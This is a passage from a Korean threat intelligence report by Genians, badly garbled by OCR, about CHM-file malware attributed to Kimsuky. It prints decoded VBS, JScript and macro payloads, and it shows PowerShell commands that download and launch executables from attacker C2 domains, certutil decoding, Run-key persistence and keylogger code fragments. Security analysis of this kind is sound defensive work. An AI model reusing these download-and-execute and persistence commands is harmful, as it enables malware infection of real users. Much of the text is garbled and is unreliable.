[1% 4—2] VBS 1 RYLZ REE CHM otH

AYE oy ASRES
DATR {25t g
BLCH 01, 2442

=

Z0f VBS Ttu= 7Lt

SO HTML 2
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Genians Threat Intelligence Report

O AFZAPFA|ARI0 202 & F<2, 0] 2HH0o|M 2715t 2|2 AE2|0] 2|
VBS THI0| A L|C} A3E VBS THUS Powershell A3 YES S5
S A2 C2 MHOM “advupdate.exe™2te THAS ‘%tmp%’ 20| CHREE

O 24 A0 C2 Muof] £0] E7ist0 TH22E &= Y2
ZUA T RAT = QAEAR YO AFFIE2 Y51 UGLIH.

B v A @A WPC > BEHOAI(C) » ANEX » g3
Baseb4
_ [ Document.dat Decode Document.vbs
* SARYI j DAT I+ > VBScript A3 2 E THe
B > 283HI0|E 209HI0|E
J oe=c <
I M
[ "\H:_l «

RG1tIHNoDQpTZXQgc2g9VINjcmlwdC5DecmVhdGVPYmplY3QoIld|Y3JpcHQuU2h
1bGwiKQOKc2gucnVuICIjbWQegl 2MgcG93ZXJ)zaGVsbCBpd3IglWP1dGYgIXRtcC
VcYWR2dXBkYXR1LmV4ZSBodHRwczovL 3dhbnQtaGVscGVyLmNvb$9kYXRhYmFzZ

S9kYiSwaHA/dH1wZTOxICYgc3RhenQgIXRtcCVCYWR2dXBKYXR1|{mV4ZSI sMCxm
YWxzZQOKU2VOIHNoPUSvdGhpbmc

sh

Set sh=WScript.CreateObject("WScript.Shell")

sh.run "cmd /c powershell iwr -outf
%tmp%\advupdate.exe s://want-helper.com/
ddtaba’ /db.php?type=1 & start %tmp%\advupdate.exe"

[13 4-4] VBS 1 F&2| DAT, VBS It&
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Ez
WORKGROUP \ user

explorer.exe
parent process

d.exe

3 file event cmd.
chil,d’ process

.
Document.dat
P
Document.vbs

, (4]

certutil.exe
child’ ‘process

reg.exe
child process
L)

1
’
’
’

s
.’

1 registry event

=8 gy

Event Time 2023-09-26 11:46:24
Event Type ChildProcessCreate
Process Name hhexe

Process Path  C:WWindowsihh exe
Process ID 4944

Process User ID user
Integrity Level MEDIUM

Child Process

[Command Line
C:wwindowswSystem32#cmd.exe” /c echo
RGItIHNODQPTZXQgc2g9V1NjemiwdCS DemVhdGVPYmpIV3QolldTY3)p
cHQuU2hIbGWIKQOKC2guenVUICjbWQgL2MgeGI3ZX JzaGVsbCBpd3IglL]
V91dGYgIXRICCVEYWR2AXBKYXRILMVAZSBodHRwezovL 3NrdGVSZWNY
bSS0ZWxwL2Rvd25sb2FkLINIBGV]dCS: dHIWZTOXICYgc3RhenQg)
RtcCVeYWR2dXBKYXRILMVAZSISMCxmYWixzZQOKU2VOIHNoPUSvdGhphy
mc > "3%USERPROFILE%:#Links#Document dat” & start /MIN certutil -
decode "22USERPROFILES:#Links¥Document.dat”

"6 USERPROFILE9#LinksDocument vbs™ & start /MIN REG ADD
[HKCUWSOFTWARE#Microsoft#WindowswWCurrentVersionWRun /v

cmd.exe

[Document /t Z /d "%USERPROFILES&¥LinkswDocumentwbs” /f
Detect Type
Tag
Custom Tag
EEELS
X A2 2023-09-26 11:46:24
X Ay Misc
s
=10 T1218.001 - System Binary Proxy Execution:
Compiled HTML File (Custom_00001)
o9 cmd exe
HEE 100%
T1218.001 - System Binary Proxy Execution: Compiled HTML
File (Custom_00001)

[112] 4-5] Genian EDRE &
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O 272, Y 32| CHM &4 C2 AHO|M “nhgames.zip”2t= O0|£29] ZIP
o} 2

U= o Al IOl B E Fot-Z =QIgHEL T}
O ol ooy Cist EAMS JUAIMA|T, S| d A2 A W= AR
I, SAA AHASQ HAE A2 2HSt JUSL|C Eot, SHAI;
“DarkHorse”2t= A A} 0| & AtEdt= A S &ele 4 U O E 1AM
Operation Name2.2 HE5HA| SiSL|C}

PDB C:WUserswDarkHorseWwDocumentswVisual Studio 2015
WProjectsWemptywxo4wReleaseWwempty.pdb

1000 ~ (uint64_t)auStack_88;

&lpBuffer + ivVarl) != "\@

((uint32_t)var_1@h ~ (uint32_t)auStack_88);
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O JSE 1

7ol CHM

= =

372 2022 4YLE wAYO

27 B 8o YU RERSLICH

Threat Intelligence Report

30| A3|{LL SOt Ect

012 S0 LhZ0| BOIRIT EFF AL
OH 401l =Io ol 2 A3H 2 BHRoIER Cral
Ol @ YU Ut SAt2tE Y0 W =
= 2tolct.

ZZ0f %“"EJ} §§3\ A x| °’0W Uer

i'()ﬂ vii‘? LIS 0\ OFTA 31010F
F2 |0, B0l ZH3t= IR0l

tolti g0t E215t D Ut

29,22 32 200 22 2 HOA 2%

215 EO\"MJ“ TSRS 2 FE S3E 3001 %’%‘EI (D\El 32 84008+

22, 21243012 8) 0] 2l SAE AD) T S0 07| B2 Sa0] AA 52
ZX| 8 AYSISACID BICE Oli= T CHH| 150% 01482] S0tetn MERACt

UASA2IM
AR RIS
HE Zol=BAE 5—? El
(@3h LARDOA A2l olnje
FE HIFACHD, A O3
275t Aolct

@ =82 @ =8y - o x @ =y - o X
1] 3 oH T = ox
SUA(SH HUuF) o =328 ol
REOFEICH g et= J1Q = et=Ql &0, Jtatotm of2 W ol il riof execute £ ton fro ¢ arban dutch Know fest i
o Sae Ao HH 2 E2 U 28 6ls 8y certain riot execute farm reunion frog current urban dutch know test image
L] s
SE2 D19 EE ANOIB BIE| PR OHQI E= D|2o| FHA] E201 gilo| 538 21
A= F2 Bllo= - ;
rETT SE SIS S SHHE SMUHZ BHLE SN oFXist Rof 2t
EENE e
S04 0| )] = Yz I A HIAHSR (2, 20| ATA D A Q16U AL
2 SOio| [f=10] 2 AE|E S9 9ICH EIAF MAS0| A2 P E 31 91 H51S0] ol certain Zriot 3execute 4famm 5reunion 6 frog
Helof 82 0] AN S 20|Lt sasB TEBHCH, TRV 44 AL ERTY cument 8uban| 9dutch 10know 11test

MHUIAE S30| ASEH SO,

image

7S ¥7 B7E SR OpAID SO KA
A A2l

(12 4-7] JSE 1 R8°

O JSE1 RS VBS 1 72 SY5HA HTML It
AAYEES DAT YR XY & HAER]| 2LS
Jh2| 1 QI LCH 2o Ho e |2

Aottt S0 AL

Qe A2

rt
Bitmap

/MIN certutil

L{20| BASEG4Z Q12 Y
28 20| SFst= IW%
2 ES VBS IH0| ot JS

[1& 4-8] JSE 1 R HTML ZE
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O JSE Y2 QIR Sl Java Script2 Cl2Y 24¥ S Hx{of 2 ZEE &0lg
4 QELICH 2(Z Mgels JSE THUQ| Y EL o) 2 2o,
Powershells S3ll 4 Zfol C2 ME{O| A “audiodg.exe’2te AMIES
Y%tmp%’ F20| CH22E5H] AlgrL(Ct
— v~ @ > WPC » BHOAI (C) » ANEX > g3
Baseb4
# SHRT| b Docu ?f__”tdat Decode 5
W S o ——j 20914012 - )
], ezc
& 24
| AP

10B+XnhBQUFBQTOILW1EfmsnCStoLGIXxT2s3K3ByKExuXkRgSn
FqbUlrdoQganR/V15KYm1AIOAmMN2wuUDF4SjE6W3HpKbVAYR1Mr
Li80bl5WfmloTVBPSOVEV1B1WWh3dS13QyF0a0tbp2MrNnS+NF
1Ed2spInotNEsvT3h/T2hLRFYgMVc6J115LRG56MUE IMHIUUMF@
d1FZSDIre@Z+WywvTONNWVB1TzphXSOnQzt0Y1lcS5pyArYWSyal
AjQCZrIEQheGNeQiF+VONelL24jcFVrSUFBQTO9XiN+QAA

#@~ xAAAAA==-mD~k"' +h,b10k7+pr(Ln"D  JqjmMkwD jt

VAJIbi@#@&71.P1xJ1: [~ImP2GS+. /4n~V~bhMPOKEDWP
uYhwu-wC !NkK[oc+6 ~4YDwk )&z -4K/0x OhKDV
1W: & KDnz1G OrTRatwQYH2+{F~[,/OCMYPuO:a]-"'C;NbW9o
+anri@#@&k D!xc”B!~WCA/n#pUkIAAA=="#~0

var s=new ActiveXObject("WScript.Shell");

var c="cmd /c powershell iwr -outf
%tmp%\\audiodg.exe https://vhostnetwork.com/core
/config.php?type=1 & start %tmp%k\\audiodg.exe

s.run(c,0,false);

3

OII

[12] 4-9] JSE 1 R™2| DAT, JSE It
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= | hh.exe
process

Hoiug

+d Ye
Event Time 2023-09-26 11:57:20
e el B [B [ - Event Type ChildProcessCreate
WORKGROUP \, user

Process Name hhexe

Process Path  C:#Windows#hh.exe

Process ID 5000

Process User ID user
explorer.exe Integrity Level MEDIUM

. Child Process ¢md.exe B

.ommand Line
'C:#Windows#System32#cmd.exe” /¢ echo
108+ XnhBQUFBQTOILW1EfmsnCStolLGIxT253K3ByKExuXkRgSNFabU1rdo
QganR/VISKYmIAIDAMN2wUUDFASE6W3 SKbVAYR1 MrLi80bISWimloTV
BPSOVEV1B1WWh3dS13QyFOaltbb2MrNng+ NFIE2spInotNESVT3h/T2
hLRFYgMVCB)ISLRGSBMUCIMHIUUMFOd 1 FZSDIre0Z + WywvTONNWVB1
[TzphXSOnQztOY yaUAJQCZrIEQheGNeQiF «VONeL24jcFVrSUA
BQTOIXIN+QAA > "%USERPROF ks#Documentdat™ & start
/MIN certutil -decode "%USERPROFILES:#LinksWDocument dat

"% USERPROFILE%#LinkswDocument jse” & start /MIN REG ADD
HKCU#SOF EwMicrosoftwWindowswCurrentVersion#Run /v
Document /t REG_SZ /d "%USERPROFI Links#Documentjse” /f

parent process )

hh.exe

process
o

g

cmd.exe Detect Type
child process o Tag
P ’ CustomTag A EAE
@ FEas
Document.dat . oA NZ 2023-09-26 11:57:20
certutil.exe reg.exe R ;
chyd process . child’process S E Misc
’, ’ [Iﬁ
4 =3

,
’
.
- - =D T1218.001 - System Binary Proxy Execution:
I% Compiled HTML File (Custom_00001)
Ef =

. . oA AT cmd.exe
Document,jse 1 registry event )
HEE 100%

T1218.001 - System Binary Proxy Execution: Compiled HTML
File (Custom_00001)

[12 4-10] Genian EDRS £¢t JSE 1 §& EfZ]

Genians Security Center 35




Genians Threat Intelligence Report

7o S42 20239 3ERH THICH, SH Eo0fent YEES YE

oA E22 2|ds REISLIC.

& Title - o X # Title - u] X
; & O ) & O
27171 o4y 2M(0) 27|71 ol 24Q)
ws@ | mo | zue | PN ws | o]y ~
EEEUT0 ST L FEEs _ Aeal
. % HHESMYOIBRE o :
AEES S0l 2ASEE wone HoITE g x
X (HH X
M727%(2A) / Sl #eiREE B FaNE.
¢ EEC
= HOUDMHA S FOEENE UIX2| 6128 UM FAD
Y DUEE MHRHZ (ORI 8 YW FAI7| HIRUCH
- HI437 H1EHE Y8I5tol WS AT 2ol
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H =

EE
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I off ARHEEAI L BHOIA 2290 5EA

e S e

21 A- o0 o =
[:LC! 4-11 \/BS 2 ‘|‘r%§—E TE% CHM = D|_:|

O VBS 2 § &5t VBS 1 St =2U5HAH BASER4=Z QIZHE AFZEES
Oig= et th3 H2Y = VBS ME=2 Al E1|7\|ﬁ53| s 2 F=20

F7tsk= S 7|2 AL

shortcut.
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O VBS 1 ROl 20|22 = Adlz|E= VBS ZEO| HIIQL 2|F CHREE &&=
| O|2E9| &22}7t TXT 2h= 20| Q&L Ct.

< v 4 @ > WPC > BEOAI(C) » MR , 23 v &
8 1. Document.dat gase64 Document vhs
piii \J e o VBScript 232 E Tty
B 5HE 53 2 618HI0|=E 460HH0| =
¥ UG2EL »
& A *
=] AR +

U3ViIFdNUHIvYyhwX2NtZCkNCglzZXQgd20gPSBHZXRPYmplY3QoIndpbmlnbXRzOndpbjMyXBByb2N1c3MiKQOKC
XN1dCBvd3MgPSBHZXRPYmplY3QoIndpbmlnbXRz01xyb290XGNpbXYyIikNCglzZXQegb3N@IDPegb3dzLkd1ldCgiV2
1uMzJfUHIvY2Vzc1NOYXI0dXAiKQOKCXN1dCBvY29uZiA9IG9zdC5TcGF3bk1luc3RhbmN1Xwe@KCW9jb25mL 1Nob3d
XaWSkb3cgPSAxMg@KCWVyc1J1dHVybiASTHdtLkNyZWFOZShwX2NtZCwgTnVsbCwgb2NvbmY sITHBpZ CkNCkVuZCBT
dWINCgOKdXIpIDOgImh@dHAGLY9pYnNxLmNvLmtyL20ubGF5b3VecyINCnBvd19bWQgPSAiYR1kIC9jIHBvd2Vyc
2h1bGwgLWNvbW1hbmQgIiJpZXggKkHdnZXQgeHh4L 2R1bW8udHhOKS5b258ZW580yBIbmZvS2W5IC11ciAneHha]y
TiTgPKcGI3X2NtZCA9IFI1cGxhY2UocG93X2NtZCwgInh4eCIsTHVyaSkNC1dNUHIvYyhwb3difY21kKQ

e (p_cmd)

wm

ows

ost = ows.Get("Win
set oconf ost.SpawnInstanc
oconf.ShowWindow = 12

errReturn - wm.Create(picmd,
Sub

uri "htt
pow_cmd

pow_cmd (pow_cmd,
WMProc(pow_cmd)

[OZ 4-13] VBS 2 9| DAT, VBS It
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o om P [ e

WORKG

o i Sl
ROUP \ user

explorer.exe
parent process e

hh.exe

process e

cmd.exe
child’ process
’
, o

s
-,

2

Document.dat certutil.exe

chiln}'process

.
-
.’

Document.vbs

reg.éxe
child p;bcess

’ ® /
,

’
‘
’

1 registry event

=3 ge
Event Time 2023-09-26 12:05:25
Event Type ChildProcessCreate
Process Name hh.exe
Process Path  C#¥Windows#¥hh.exe
Process ID 2916

Process User ID user

Integrity Level MEDIUM

Child Process cmd.exe &

jCommand Line
"C:¥WindowsWSystem32Wcmd.exe” /c echo
USVilFdNUHvYy 2NtZCkNCglzZXQgd20gPSBHZXRPYmpIY3Qolndp
lbm1nbXRzOndpbjMyX38yb2NIc3MIKQOKCXNIJCBvd3MgPSBHZXRPYM
pI¥2Qolndpbm 1nbXRzOyb290XGNpbXYylikNCglzZXQgb3NOIDOgh!
LkdldCgiv2IuMzJfURIVY2Vzc1NOYXJOdXAIKQOKCXNICBYY29uZiAZIGz
dC5TcGF3bkluc3RhbmNIXwOKCWjb2SmLINob3dXaWskb3cgPSAxMgO
KCWVyclldHVybIASIHAtLkNyZWFOZShwX2NtZCOwgTnvsbCwgb2Nvbmyy
IHBpZCkNCKVUZCBTAWINCgOKdXJpID0gimhOdHAGLYSpYRNxLmNvLmty
L 2NvbmZpZyINCnBvd19jbWQgPSATY21KICSjIHBvd2Vyc2hIbGwgLWNvb
W1hbmQgliJpZXggKHdnZXQgeHh4L2RIDWBUAHNOKSS]b2 50ZW500yB)
bmZvS2V5IC1 1ciAneHhalylilgOKeGI3X2NEZC ATIFleGxhY2UocGa3X2Nt
[7Cwginh4eClisiHVyaSkNCIANUHWyhwb3dfy21kkQ
>"%USERPROFILE%wLinkswDocument.dat™ & start /MIN certutil -
decode ~%USERPROFILE%:#Links#Document.dat”
WLinkswDocumentvbs” & start /MIN REG ADD
Microsofti¥WindowswCurrentVersionsRun /
_SZ /d "%USERPROFILE%¥Links¥Document.v

KCUWSOFTWA
Document /t RE(

Detect Type m

Tag |

Custom Tag RS
2023-09-26 12:05:25
i

2

21D T1218.001 - System Binary Proxy Execution:
Compiled HTML File (Custom_00001)

k] cmd.exe

Genians Security Center
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E= AhnLabOi| A

S7Met 20 M| LhEAY, =8t sifd A& Kimsuky?t ARZ ot

FAPSE 7HX| 2 /Y& L
O EESH “demo.txt” Ot LS
JEO0| Z2tAHoj| ALESHE FE!

— —

ol REO|| AtEE
DEIA 60 Ef72t RAFSHDY, O] AFHE S5l Kimsuky
o] Aol ot THEHEL

3co g2

—

FEA (Mutex)?t Kimsuky

key_ps.txt

demo.txt

$strMute = GlobalwAlreadyRunning191122

$strMute = GlobalwAlreadyRunning19122345

GelKeyboardSlale MapVir tualKey

using Systemiusing Systen

€("Get AsyncKeyState

Mid=Type =TypeDefinition §
Mid-Type -Asseably Presental ionCor

Globa WAl cadyBuaning 191122

jing. Mutex]: :OpenExisting($stiMute)

Yeateh{
New-Object System.Threading.Mutex($! fstiMute)

Diagnosticsiusing System. Bunt imo

= 'using System;using System.Diagnostics;using System.Run

-TypeDefinition
Add-Type -Assembly PresentationCore
= $true

= "Global\AlreadyRunnin

g19122345"

try
= [System.Threa tex]::0OpenExisting
= $false
catch
= New-Object System.Threading.Mutex($true

6 Ahnlab - Ci=

2ted 21222 226 CHM &M RS (Kimsuky)

7 S2W Lab - Unveil the evolution of Kimsuky targeting Android devices with newly discovered

mobile malware

Genians Security Center
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https://asec.ahnlab.com/ko/48960/
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Pl 8o wEESUCH

Community.
Infopaper
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rar path

var ps

var cmdline

inner
inner +=

inner
P">

Genians Security Center

RS CIEA HTML T4 LHE0j| BASEG4Z QIREE of
AﬂEIEjr 3_7\|-| |- | 0|-A |l:|- [:HA| hh exeo| |:|9—|]1|.0| D:IE:IO'IE EOH CHM 11|‘
LY 20l AmAE o JSE nr

Threat Intelligence Report

ne ox

ﬂJ|0

E&ettte £ 7M1 AU L

— T

.location.href), inner

\Librari

"ShortCut™><PAR name="Button

" value= cmdline + '"><PARAM name="Item2"

('pg_1').innerHTML = inner;

"ShortCut"><PARAM name="Button"

s\\Public\\Libra

[O2 4-16] JSE 2 S| HTML 2E
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Genians
O hh.exe ol CHM IiY= ALY & F%, HTML Tp 1t S HOUE DO
gL sig CHM OiEolls JSE THO E.*’I BIEEOf A=W, CBIHE Al
HTML JSE Tt 0| =EE U
O JSE 2 RYFE= JSE Y UF ZES 4 7|22 E2ie, Ol Eot £249
S2|E Tl5t7| flet Y22 HQL[CY.
< 2> v 4 » HPC » EZ 23 (C) » AEA » &5 » 2H0|EGT
- Dlngy'te whitepaper.htm|
* SART . ne HTML Document A3 EE oY
I Ht2 = ¢
4 te=c *

mYVE
xYk V

#@~*CwIAAA==-mD~SP{Px h, )mDk-+or8% r
E3J?4E3InV E*i@#@&k6P  q2?1.kaY bMo;h
DbYncrC|EQr2e{;ir E"IA1K|jUE_r2]-'?60:1 r
0. JQIM/rG --";]33]x"wI9W1I3];
DE_rl.r /="9Wr_Jid Lr_r/
nJS~rI3J3EM| ?EQr} JbI@#@&NP
43QIns*PrhrQIMPRG!J_EO6PYYsSE3J2u-"'mY6:rQJKx +r_Ea
J:CkrQrxm94, [ PkYrQImDOPuYhE3Jwuw-1YJ3EW: Kxc+E_Ea

ew ActiveXObject("W"+"S"
.Arguments.length

("HK"+"E) +"RR

[0 4-17] JSE 2 22| JSE I}
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:nE33UYrSPrZlw’ j/EQr+./ 'whIQrE(Vkl- ' Jk(

sk+~P@#@&dhcD!U” rmhJ3] [~ImPaE_
PtDE_rYwrQE/=z1/4JQEKD;R
1SPZSP6lsd

JUEQI1333.IQEbIQIAE_rY
xoDA~@* , | 5P @H@RTSR ] +T

rr_JU[KJIQJISd'-/!DMI_r+

rinh EQIM/

nJ3J0&9]_E8
#1@HER) GHER1YBAAA=="#@
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O 2|Z 2dxl= TE== ofeliet Za LT o742 Z0|7t 0Lt S &%, ol JSE
OIS RAEL| Ats 2 F20| SELICH HTML TUo| A3 ZEO|A 3l JSE
oS Jddle o o7 +2 PP E AFERNY| W20 2dE2 &0l gLt

O HRIAEZ0 271 & Ats AME F20|l= 7SI FO{R|R| Q47| W20
else0| afi¥sl= TETJH AAME|B{, Powershell2 Soli C2MHOIM “ctfmon.exe”
oS CHR 2 Eotn ASHEL|Ct

(113 4-18] JSE 2 R¥9| JSE ZE

hh.exe
process

D hh.exe B

2023-10-12 11:03:14 © ChildProcessCreate

Il Bl 'EEEs Aal X

TE S
WORKGROUP \ user .
Event Time 2023-10-12 11:03:14

Event Type ChildProcessCreate
Process Name hhexe B

Process Path  C:#Windows¥hh.exe

Process ID 5308
explorer.exe

parent process Process User ID user
Integrity Level MEDIUM

Child Process hhexe B

ICommand Line

hh.exe
}frocess
¢

Detect Type BN

Custom Tag

2023-10-12 11:03:14

3 file event hh.exe wscript.exe A AZ
| an B wisc

child process child process
r /

gx
¥ ’,
’ ’ e
.’ @ ’ °
P 4 ‘ E1D T1218.001 - System Binary Proxy Execution:
-
_e" i Compiled HTML File (Custom_00001)
@ ® A 2 hh.exe
. : RIS 100%
2 file event 1 registry event

T1218.001 - System Binary Proxy Execution: Compiled HTML

File (Custom_00001)
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0£5| k=13 % §Lo|

SH
NE ST AS 2

O 24 boC o s
A2 EE 2EI2

HM Tt

uol &
‘|> 0|._|

NS FP, Y RAE
2|
2

TO OPEN THIS DOCUMENT PLEASE FOLLOW THESE STEPS:
® Select Enable Editing

@ PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless you need to edit, it's safer to stay in Protected View. Enable Editing

® |n the Microsoft Office Security Option dialog box, select Enable Content

@ SECURITY WARNING Macros have been disabled.  Enable Content

D-)l;l If you are using a mobile device, try opening the file using the full office desktop app.

US FEH= Z0[QI0A 2 DOC IO
AZ7F CHMRIO|E oty 24 IS Est 24S
o

UAG LT

CHAZ AtE)S FEELIC

ZrucpAaBl) zpucrAaBl

JEE |77 as

2ty

This document protected by

Microsoft Office
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1/3 HO[A|

inherit

A~ owe x, X°

55374 oo [%

e HES 28Y 847, 7hd At 2E W8S &2 & W2 E0A
= gL

What is DigiBytepassx.doc [22 2E]

ORel Mool  mE  HN  HE

7

36 Aa -

oWl

Y-4-mO®

ME

JpLpciAaBl 7ropcpAaBl 7"]"' .

JEE |JuFas A

ZEE

What is DigiByte? (DGB).

The Beginner’s Guide.

DigiByte is a software designed to compete against
major cryptocurrencies such as XRP and Litecoin by prioritizing cybersecurity
and scalability. «

Its platform boasts additional features enabling users to issue assets, launch
applications and use digital identities. Further, its protocol is built to leverage
multiple mining algorithms and enforce a monetary policy with a maximum
supply of 21 billion DGB coins.~

That said, users are likely to find DigiByte replicates aspects of other competing
cryptocurrency networks. DigiByte's cryptocurrency, DGB, for example, is used
to pay fees to those who help operate the network, and is also intended to
facilitate payments and fuel its smart contracts. «

It also includes a mission statement in its blockchain. «

A message embedded in the first block of the Digibyte blockchain reads: “USA
Today: 10/Jan/2014, Target: Data stolen from up to 110M customers.”.

For more regular updates from the DigiByte team, you can check out DigiByte's
Youtube page, which includes release briefings and interviews that provide

incioght intn ite svnlvine netwaork »

F0(01=) 2] B - 1 + 110%
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O oM 3 2= HEX e Eslf LS5} £|0f Y20, Powershell 2EQt THY
M A2 U YRAEL| 2 SO CHM 3HO| RAMYS 20|21 JELCt

Function HEXZASCII(S As String) As String
Dim X As Long
For X = 1 To Len(S) Step 2
HEX2ASCI| = HEX2ASCII & Chr("&H" & Mid(S, X, 2))
Next
End Function

Private Sub Document_Open( )
With ActiveDocument
.GoTo what:=wdGoToPage, which:=wdGoToAbsolute, Name:=|
.Bookmarks( "%Page” ).Select
Selection.Delete
End With
Act iveDocument .Bookmarks( "WPage” ).Range.Font .Hidden = False
With ActiveWindow.View
.ShowParagraphs = False
.Showhll = False
End With
Act iveDocument .UndoClear

Dim ret As Boolean
. ret = RegistryCreateyalue( &HEB0D00001, HEXZASCII( "536F6674776172655c4d6963726f 736f66745c576G966
nd sub

- As Boolean

[:Lal 4- 22] otM O3 2 B E

O 24 AE0| C2 MB0|| 80| 2716t 2|F CHREEE[= “smss.exe” YU
%!‘Eo|-7\| 2312|2t RAT = Backdoor S82| QY TCE 2 245t Y LICH

Genians Security Center 46



(@) Genians

Threat Intelligence Report

WORKGROUP \ user

explorer.exe
parent process

[ ]
WINWORQ.EXE

+ process |

rl ’ 1

- - I

B |

i

i
5 file event !

1 registry event

1 registry event

registry event

T Fy=

Event Time 2023-09-26 14:23:28

Event Type RegSetvalue

Process Name WINWORDEXE B

RegKeyPath HKEY_USERS#S-1-5-21-408108736-1388321922-
3195875846~

#Run
RegValueName MS_Office

"emnd /¢ powershell iwr -outf %tmp%Wsmss.exe

httpsy//shoru.net/db/main_db 8 start

1002#SoftwaresMicrosoftwWindowswCurrentviersion

RegValue cmd /¢ echo WScript.CreateObject("WScript.Shell™).run

Setmp%ismss.exe’ 0 false > "C:WUserswPublic¥Libraries

Wwlib.vbs"8uwscript "C:WUsersWPublic¥Librarieswlib.vbs”

RegDataSize 473
RegDataType REG_SZ
Detect Type XBA

Tag

Custom Tag

e =L

BRI AL 2023-09-26 14:23:29

B A } Misc

g

Z1p T1547.001 - Boot or Logon Autostart Execution:
Registry Run Keys / Startup Folder (Custom_00002)

B What is DigiByte.doc

HEIE 100%

(312l 4-23] R AE 2| 2}5 Asl S2 7
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Threat Intelligence Report

o
U0, 3

~— 0 x P - o x
B
HEIYT  AMA+
AL 71'0':,\"(__”_7“;(«”19_) = @
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T 2= XS0/ 52t ohh
- D e 0| 8%t ZHQhLY
B4zl 2 0188 FHA THOE ZARIICH
QUTLE LY 717” 7 4‘} ! ?“1 nZ4dol
::'ﬂi vmv;"" ;ii‘ O 2ys RSo|H ESEN ﬂa‘“E! I%OI_}E _on OI_ H |I:|.
wag won1s wiz - 72 A% Ao
P a% e P . 2% simg s Hus Cote ot sles msseUL,
Aiae o 37508 S
o saidel 7teot B7I Ole Boa
A%YE
201903 steAz st
UM pd AEStpd mu:f&‘ g olgE TS
9950 £ w2z ac wrzas
Faus soigas cwope oy
N EaAnms 10070urweeeen X W YS@BHE2)TE 270 ozt N
< < b < >
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[13 4-24] JSE 3 L2 FEE CHM ofH
=IC} O &S o & al Alg F ol Ho
O g RS ISE 2 R HTML 2 U A3 40| 229 JSE T Ljso)
TEOf| 24017t UG LIES.

~ path
ps path.
cmdline

nam

Genians Security Center

.location.href), inner

Public\\

Libraries
value="ShortCut">
alue=" cmdline

( par ).innerHTML inner;

}AM name="Button’

\Public\'
e="TItem

('par

) 1nnerHﬂ
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&« v oA » WPC » ZE CAZ(C) » MER , Z2 5 20|23 v 0

N ~ dbins_secure.html
A EAR . Chrome HTML Document
B T SHE e

J oezE »

#@~*KAQAAA==W! x"DkKxP9" kbPP@#@&P, \C . , YP{~Iri@#@&~0BKD,  -1.~bPxPZIPbP@! ~kRVnUTY4i,r3 b,
@H@&P, P, - 1MPC/1kr~{P/c tmDZK[nbD b#I@#@& , P~\m.P1Px~UYDrUTRWDKh ; tCMZKN+v 1k kb#T@#@&P~~ , kO
,€lkmkb~x" , cy#~m~x, P0DbUoc®.GsZtC. ;W[ +v1y#I@#@& ,PP,+~d+, kWPv1d~bkP{xP2vi,*~"  ?DDrxL 6DG:;
41MZG[ * c{bp@H#@&P ,~,+sk+, k0, mdmbk~" {Pq++#P1~", ?YMrUocOMWhZACMZGN C*REI@H@EP P~
Vd+,r6Pcm/1kk, ' {~FycbP1Px~UYDbUoc®DKh/tmD; W[ +c*+#I@#@&~P,Pnsk+PrW, C/
1rbPx{P2&#,m,xPUY.k o WMW: ; 41MZWOnc&F#p@i#@&P~~,+s/ ~k6PcCkmkr~{"'~&1b ,m~{PUYDbxT
OMWhZAL . /KN+vT%* i@H#@&~~P ,+*/nPrW,” C/1rk, 'x~+F#i~A, *~2D.bxLcOMW: ; tm. ZKNn" O*bI@H@EP, ~P
v/ ~r@, ~ +¥*n@ ] xxvm/ kb~ [ LPCd1kk~@! {P1! *~1Px, ?DDk ocWDK : /tmD/G9+" vC/

Decode

s.length; 1
(i);

(ascii);

(ascii

(ascii

(ascii

{a=cit!

(ascii . :

(65 <= ascii &%& = : ((E=%1

97 <= ascii && : 22 . ((ascii -

; ActiveXObject(d("HDnctae|Dspww"
.Arguments.length > @) {

(12 4-26] JSE 3 R&2| JSE Tt

o
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0|Z, PowershellS

new ActiveXObject(
length

Arguments.

Threat Intelligence Report

1571 2I5H JSE DY S 2R AEL| Ats 2l =20
ol SHAL| C2 AMH{0i|A

“alg.exe” OYZ

w— ome e
WORKGROUP \ user

‘e,

D

explorer.exe "6 network event
outgoing

parent process

31 file event wscript. exe

h.exe
child process child process

qij” ‘E'*

il i 1 registry event cmd.exe
2 file event 2 file event gistry child process @ Y _

powﬁrshellexe

15 module event 13 file event

®

8 file event 143 registry event

,alg.
 <éhil leces,

@

cmd.exe 6 module event
child process

Event Time

2023-09-26 13:13:48
Event Type  ChildProcessCreate
Process Name  hh.exe
Process Path  C:#Windowswhh.exe
Process ID 1248
Process User ID user
Integrity Level MEDIUM

Child Process  hh.exe @

[Command Line

Detect Type

Custom Tag

GEEE

B A2 2023-09-26 13:1348

X AH Y visc

W8

£ T1218.001 - System Binary Proxy Execution
Compiled HTML File (Custom_00001)

B AR

e 100%.

T1218.001 - System Binary Proxy Execution:
File (Custom_00001)

Compiled HTML

e ge

Genians Security Center
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_ - EPS o) =TT MHoIL ARl B (| W
(Employment Permit o 47 2802, YR MBS Y| WAt
% 20| O D2JLt S 4TS J9e T2
System) Al E H HOICH T AR BONKE 2E0|A| 9|H
g U2 WEL glojq 24 HEg
NES|IME St A=C2Z AL Ul
SAUS Al =2k c'='°F(M0U)0| Az= 30 0| ¥t MO off m=
o|d, Bl= S 1500 21 FE2I & B 32 AFY2-28UR UL UF BOfE W
X|E 2T o2l KA 2 57| thy] 35% S7HCH Ol = z. o=}
m 5| 2% Y48 Z0he EHO A0 1m0l era
_I_
= =Eh & 3% 470 SO1Lt O] e 49 0| A2 .°J xr
EJIAAE}, 2 YE22LE|Al, UlZ I]|0F e oy ng':l inq °u1;r‘x40“ InéH 401 of
E”'. %EJEE H'"EI_F ZHLH U BEE A= AH|ALH U'Q}E}‘—
D|I:I|I:} = HE Y] 4% AEHEE E
=0, 5 & H6E 20-262)S 2 7| _% Bl
Wt mel 0420l 220%7t8 E5% oz A
i
Aot 242 Y=o R0 28 WEE A
stEiA QR HEO] (f3t 20| 2ojz gEE
(28 4-29] 7|Et RY22 REEH CHM SHH

8 Zscaler-The Unintentional Leak: A glimpse into the attack vectors of APT37
9 Ahnlab - SZA|0F A4 vt2 2S5 0|25 CHM &M ACE : RedEves(ScarCruft)
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https://asec.ahnlab.com/ko/56654/
https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
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Ql “mshta.exe”S Soll SAAF C2 AHOf|A &Y
IO|2EE CHRZEot Adliste ME S 7HA| 12 &L

[12] 4-30] MSHTA 39| HTML &

hh.exe
process
2023-09-22 13:20:04 © ChildProcessCreate |

gue

-8 Y=

e e M el o =a

Collm ol B
WORKGROUP \ use

Event Time

Event Type

Process Name

Process Path

Process ID

